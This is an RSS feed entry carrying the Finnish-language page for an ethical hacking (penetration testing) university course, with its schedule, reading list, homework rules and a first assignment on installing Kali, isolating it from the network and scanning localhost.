<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>2026s</title><link>https://terokarvinen.com/2026/</link><description>2026s</description><language>en-us</language><lastBuildDate>Sun, 22 Mar 2026 13:06:12 +0200</lastBuildDate><image><url>https://terokarvinen.com/img/favicon.png</url><title>2026s</title><link>https://terokarvinen.com/2026/</link></image><atom:link href="https://terokarvinen.com/2026/index.xml" rel="self" type="application/rss+xml"/><item><title>Tunkeutumistestaus</title><link>https://terokarvinen.com/tunkeutumistestaus/</link><pubDate>Wed, 12 Aug 2026 10:17:12 +0300</pubDate><guid>https://terokarvinen.com/tunkeutumistestaus/</guid><description>
&lt;p>Learn to hack computers to protect your own. In the course, you will break into target computers.&lt;/p>
&lt;p>Excellent feedback, reached 5.0 out of 5.
&lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Full five stars">&lt;/p>
&lt;p>&lt;em>Update: Visitors confirmed: Buuri (pentesting banks), Särökaari (attacking identity?), joohoi (creator of ffuf).&lt;/em>&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Course name and code&lt;/td>
&lt;td>Tunkeutumistestaus ICI005AS3A-3007 (&lt;a href="https://opinto-opas.haaga-helia.fi/course/ICI005AS3A">study guide&lt;/a>)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Timing&lt;/td>
&lt;td>2026 &lt;strong>period 1&lt;/strong> early autumn, w34-w41&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Credits&lt;/td>
&lt;td>5 cr&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Classes&lt;/td>
&lt;td>&lt;strong>Thursdays 11:00&lt;/strong>-13:45, Pasila &lt;strong>pa5001&lt;/strong>, bring your &lt;strong>laptop&lt;/strong>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Max students&lt;/td>
&lt;td>30&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Language&lt;/td>
&lt;td>Finnish (+reading material in English)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Remote&lt;/td>
&lt;td>No, fully contact in Pasila classroom&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Feedback&lt;/td>
&lt;td>&lt;strong>4.8&lt;/strong> / 5 Excellent feedback* &lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Five star experience"> (Best instance 5.0/5)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Services&lt;/td>
&lt;td>&lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=49132">Moodle: Tunkeutumistestaus&lt;/a>, Laksu. Voluntary extra: &lt;a href="https://terokarvinen.com/newsletter/">Tero's list&lt;/a>.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>First class&lt;/td>
&lt;td>2026-08-20 w34 Thu 11:00, pa5001, bring your laptop.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent.
&lt;em>Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.&lt;/em>&lt;/p>
&lt;p>&lt;em>Teaching is in Finnish, so the rest of this page will be in Finnish.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.&lt;/em>&lt;/p>
&lt;h2 id="oppimistavoitteet">Oppimistavoitteet&lt;/h2>
&lt;p>Opintojakson suoritettuaan opiskelija&lt;/p>
&lt;ul>
&lt;li>Tuntee tunkeutumistestauksen prosessin pääpiirteissään&lt;/li>
&lt;li>Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat&lt;/li>
&lt;li>Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia&lt;/li>
&lt;li>Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua&lt;/li>
&lt;li>Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.&lt;/li>
&lt;li>Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja&lt;/li>
&lt;/ul>
&lt;p>Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.&lt;/p>
&lt;img src="https://terokarvinen.com/tunkeutumistestaus/its-raining-shells_hu2c3b7a67c2932fbb741bb11b3701e922_3206_200x200_fit_box_3.png" width="139" height="134" alt=" " class="imgOne right">
&lt;h2 id="aikataulu">Aikataulu&lt;/h2>
&lt;p>Torstaisin 11:00 - 13:45 Pasila pa5001.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Päivä&lt;/th>
&lt;th>Aihe&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>2026-08-20 w34 Thu&lt;/td>
&lt;td>1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-08-27 w35 Thu&lt;/td>
&lt;td>2. Vierailija &lt;em>Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA &amp;amp; threat lead penetration testing&lt;/em> (11:00). Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-09-03 w36 Thu&lt;/td>
&lt;td>3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-09-10 w37 Thu&lt;/td>
&lt;td>4. Vierailija &lt;em>Niklas Särökaari, lead cybersecurity operations engineer, KONE: Attacking identity (topic to be confirmed)&lt;/em> (11:00). Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-09-17 w38 Thu&lt;/td>
&lt;td>5. Vierailija &lt;em>Joona joohoi Hoikkala, creator of ffuf&lt;/em> (topic to be confirmed, 11:00). Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen. Norjalaisia vieraita seuraamassa, Noroff.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-09-24 w39 Thu&lt;/td>
&lt;td>6. Haittaohjelmat ja takaovet. Bind ja reverse shell. Metasploit ja Msfvenom.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-10-01 w40 Thu&lt;/td>
&lt;td>7. Salasanojen murtaminen. Käyttäjien salasanat. Sanakirjahyökkäys. Hashcat.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-10-08 w41 Thu&lt;/td>
&lt;td>8. Lipunryöstö, arvioitava laboratorioharjoitus.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.&lt;/p>
&lt;h2 id="kertausmateriaalia">Kertausmateriaalia&lt;/h2>
&lt;p>Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.&lt;/p>
&lt;ul>
&lt;li>TCP/IP-pino: &lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite">Wikipedia: Internet protocol suite&lt;/a>&lt;/li>
&lt;li>Linuxin komentokehote: &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a> (ja Linuxin asennus &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on VirtualBox&lt;/a>)&lt;/li>
&lt;li>Tietokantojen alkeet (millä vain alustalla): &lt;a href="http://terokarvinen.com/2016/postgresql-install-and-one-table-database-sql-crud-tutorial-for-ubuntu">PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu&lt;/a>&lt;/li>
&lt;li>Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: &lt;a href="https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript">Introduction to JavaScript&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="luettavaa-ja-linkkeja">Luettavaa ja linkkejä&lt;/h2>
&lt;p>€ Maksulliset aineistot saattavat näkyä ilmaiseksi &lt;a href="http://libguides.haaga-helia.fi/az.php">Haaga-Helian tunnuksilla kirjaston&lt;/a> kautta. &lt;a href="https://www.oreilly.com/library/view/temporary-access/">Haaga-Helialla on käyttöoikeus O'Reilly Learning -kirjoihin (ent. Safari)&lt;/a>.&lt;/p>
&lt;p>Työkaluja kurssille&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on VirtualBox&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2020/remote-learning-tools-for-my-courses/">Remote Learning Tools for Tero's Courses&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/">Kali Linux&lt;/a>. Uusi levykuva &lt;a href="https://cdimage.kali.org/kali-2021.1/kali-linux-2021.1-live-amd64.iso">kali-linux-2021.1-live-amd64.iso&lt;/a> (vanha levykuva &lt;a href="https://cdimage.kali.org/kali-2020.3/kali-linux-2020.3-live-amd64.iso">kali-linux-2020.3-live-amd64.iso&lt;/a>).
Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.&lt;/li>
&lt;/ul>
&lt;p>&lt;a id="L2">L2 weppihyökkäyksiä - tukee läksyä h2&lt;/a>&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf">OWASP 10 2017 (pdf)&lt;/a>, erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today's DevOps and Cloud Environments: &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_03_00">6.3 Understanding SQL Injection&lt;/a> ja &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_04_00">6.4 Exploiting SQL Injection Vulnerabilities&lt;/a> sekä &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_05_00_00">Lesson 5: Authentication and Session Management Vulnerabilities&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>€ Percival &amp;amp; Samancioglu 2020: The Complete Ethical Hacking Course (video): &lt;a href="https://learning.oreilly.com/videos/the-complete-ethical/9781839210495/9781839210495-video21_1">Chapter 21: Cross Site Scripting&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Hutchins et al 2011: Intelligence-Driven Computer Network Defense
Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Yleiskuva, harjoitusmaaleja, web&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://attack.mitre.org/">MITRE ATT&amp;amp;CK&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://darknetdiaries.com/">Darknet Diaries&lt;/a> . Podcastien kuunteluun
kännykällä &lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">AntennaPod löytyy F-Droidista&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://terokarvinen.com/2019/mitmproxy-on-kali-and-xubuntu-attack-and-testing">MitmProxy on Kali and Xubuntu&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target">Install Webgoat 8 - Learn Web Pentesting&lt;/a>. (It's also possible to install &lt;a href="http://terokarvinen.com/2019/install-webgoat-pentest-learning-tool-on-ubuntu-with-docker">old version&lt;/a> 7 of WebGoat with Docker).&lt;/li>
&lt;li>&lt;a href="https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf">OWASP 10 2017 (pdf)&lt;/a>. Tällä hetkellä 2021-02-02 uusin versio.&lt;/li>
&lt;/ul>
&lt;p>Aktiivinen tiedustelu. HackTheBox.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>€ Santos et al: &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849">The Art of Hacking (Video Collection)&lt;/a>: [..] &lt;a href="https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_04_03_00">4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>man nmap (laaja, silmäily riittää)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tools.kali.org/tools-listing">https://tools.kali.org/tools-listing&lt;/a>&lt;/li>
&lt;li>0xdf &lt;a href="https://0xdf.gitlab.io/">https://0xdf.gitlab.io/&lt;/a>&lt;/li>
&lt;li>ippsec &lt;a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos">https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos&lt;/a>&lt;/li>
&lt;li>John Hammond &lt;a href="https://www.youtube.com/user/RootOfTheNull/videos?sort=p">https://www.youtube.com/user/RootOfTheNull/videos?sort=p&lt;/a>&lt;/li>
&lt;li>Youtube-videoiden katseluun kännykällä &lt;a href="https://f-droid.org/packages/org.schabi.newpipe/">NewPipe F-Droidista&lt;/a>. Youtube-videoiden nopeuden säätöön &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/videospeed/">codebicycle Video Speed Controller&lt;/a> addon Firefoxille.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Passwords, Learning to Learn tools&lt;/p>
&lt;ul>
&lt;li>infosecn1nja 2020: &lt;a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit">Red-Teaming-Toolkit&lt;/a>&lt;/li>
&lt;li>Taylor et al 2018: The Art of Hacking: &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_00">Hacking User Credentials&lt;/a> €&lt;/li>
&lt;/ul>
&lt;p>Web Fuzzing, Second to Last Words&lt;/p>
&lt;ul>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: &lt;a href="https://github.com/ffuf/ffuf">ffuf - Fast web fuzzer written in Go&lt;/a>&lt;/li>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: Still Fuzzing Faster (U fool). In &lt;a href="https://www.twitch.tv/helsec">HelSec Virtual Meetup #1&lt;/a>.&lt;/li>
&lt;li>Miettinen 2020: iPhone BFU Acquisition and Analysis. In &lt;a href="https://www.twitch.tv/helsec">HelSec Virtual Meetup #1&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>Metasploit&lt;/p>
&lt;ul>
&lt;li>
&lt;p>€ Jaswal 2020: Mastering Metasploit - 4ed: &lt;a href="https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30">Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a> (kohdasta &amp;quot;Conducting a penetration test with Metasploit&amp;quot; luvun loppuun)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Karvinen 2018: &lt;a href="https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/">Install Metasploitable 3 – Vulnerable Target Computer&lt;/a> (Article uses rapid7/metasploitable3-ub1404 , see also &amp;quot;rapid7/metasploitable3-win2k8&amp;quot;)&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="vanhoja-toteutuksia">Vanhoja toteutuksia&lt;/h2>
&lt;p>&lt;a href="https://terokarvinen.com/2026/tunkeutumistestaus--ici005as3a-3004--2026p4/">Tunkeutumistestaus ICI005AS3A-3004 - 2026 loppukevät&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/tunkeutumistestaus-ici001as3a-3002-2024p4-loppusyksy-pentest/">Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/tunkeutumistestaus-2024p2/">Tunkeutumistestaus 2024p2&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/eettinen-hakkerointi-2024/">Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2023/eettinen-hakkerointi-2023/">Tunkeutumistestaus ict4tn027-3012 loppusyksy online&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2023/tunkeutumistestaus-2023-kevat/">Tunkeutumistestaus ict4tn027-3009&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2022/tunkeutumistestaus-ict4tn027-3010-syksylla-2022/">Tunkeutumistestaus ict4tn027-3010 - Syksy 2022&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/penetration-testing-course-2022-spring/">Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/">Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/">itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/">Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/">Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/search/?q=tunkeutumistestaus">Haku &amp;quot;Tunkeutumistestaus&amp;quot;&lt;/a>&lt;/p>
&lt;h2 id="laksyt">Läksyt&lt;/h2>
&lt;p>Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.&lt;/p>
&lt;p>Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.&lt;/p>
&lt;p>Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa. Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p>
&lt;p>Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.&lt;/p>
&lt;p>Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat.&lt;/p>
&lt;p>Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tehtävät tulee tehdä itse, eikä niitä tule antaa suurelta osin tekoälyn ratkaistavaksi. Sehän olisi sama kuin ostaa punttisjäsennyys - ja nokkelasti jättää käymättä punttisalilla.&lt;/p>
&lt;p>Kaksi ristiinarviota (vähintään) per palautettu tehtävä. Ristiinarvioilla harjoitellaan palautteen antamista ja analyysia. Anna sisällöllisiä kommentteja, parannusehdotuksia, neuvoja.&lt;/p>
&lt;p>Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/p>
&lt;h3 id="h1-kybertappoketju">h1 Kybertappoketju&lt;/h3>
&lt;p>&lt;em>Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
&lt;ul>
&lt;li>&lt;a href="https://herrasmieshakkerit.fi/">Herrasmieshakkerit&lt;/a> (&lt;a href="https://hakkerit.libsyn.com/rss">RSS&lt;/a>) tai &lt;a href="https://darknetdiaries.com/episode/">Darknet Diaries&lt;/a> (&lt;a href="https://podcast.darknetdiaries.com/">RSS&lt;/a>) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.&lt;/li>
&lt;li>&lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a>, chapters &lt;em>Abstract&lt;/em>, 3.2 &lt;em>Intrusion Kill Chain&lt;/em>.&lt;/li>
&lt;li>€ Santos et al: The Art of Hacking (Video Collection): &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_04_00">4.3 Surveying Essential Tools for Active Reconnaissance&lt;/a>. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.&lt;/li>
&lt;li>&lt;a href="https://finlex.fi/fi/oikeus/kko/kko/2003/20030036">KKO 2003:36&lt;/a>. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).&lt;/li>
&lt;li>b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. 'ping 8.8.8.8')&lt;/li>
&lt;li>c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.&lt;/li>
&lt;li>d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.&lt;/li>
&lt;li>e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).&lt;/li>
&lt;/ul>
&lt;p>Vinkkejä&lt;/p>
&lt;ul>
&lt;li>Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">Create a Web Page Using Github&lt;/a>&lt;/li>
&lt;li>Podcastien kuunteluun &lt;a href="https://antennapod.org/">AntennaPod&lt;/a> löytyy &lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">F-Droid:sta&lt;/a> ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.&lt;/li>
&lt;li>Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.&lt;/li>
&lt;li>Suosittelen Kaliin 4 GB muistia&lt;/li>
&lt;li>OffSec Ltd 2023: &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">Prebuilt Virtual Machines&lt;/a>&lt;/li>
&lt;li>Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.&lt;/li>
&lt;li>HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
&lt;ul>
&lt;li>Oikea HackTheBoxin alue on &amp;quot;Practice hands-on Labs&amp;quot; &lt;a href="https://app.hackthebox.com/home">https://app.hackthebox.com/home&lt;/a> (ei Academy)&lt;/li>
&lt;li>Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.&lt;/li>
&lt;li>Lataa Starting Point foo.ovpn
&lt;ul>
&lt;li>Connect-nappi, HackTheBoxin oikeassa yläreunassa&lt;/li>
&lt;li>Oikealla ylhäällä &amp;quot;Connect&amp;quot;, &amp;quot;Starting point&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Tuo (import) yhteys Network Manager:iin
&lt;ul>
&lt;li>Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä 'nmcli'.&lt;/li>
&lt;li>VPN Connections: Create. &amp;quot;Import&amp;quot; on alimmaisena, ja valikkoa pitää kelata alaspäin.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>VPN päälle, testaus.
&lt;ul>
&lt;li>VPN päälle löytyy samasta Network Manager -kuvakkeesta.&lt;/li>
&lt;li>'ping 8.8.8.8' - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.&lt;/li>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston &lt;a href="https://libguides.haaga-helia.fi/az/databases">Haaga-Helia A-Z&lt;/a> kautta.&lt;/li>
&lt;li>Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.&lt;/li>
&lt;li>Tietoja verkosta
&lt;ul>
&lt;li>ip a; ifconfig&lt;/li>
&lt;li>ip route&lt;/li>
&lt;li>ipcalc 10.0.0.1/24&lt;/li>
&lt;li>ping 8.8.8.8&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.&lt;/li>
&lt;li>Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.&lt;/li>
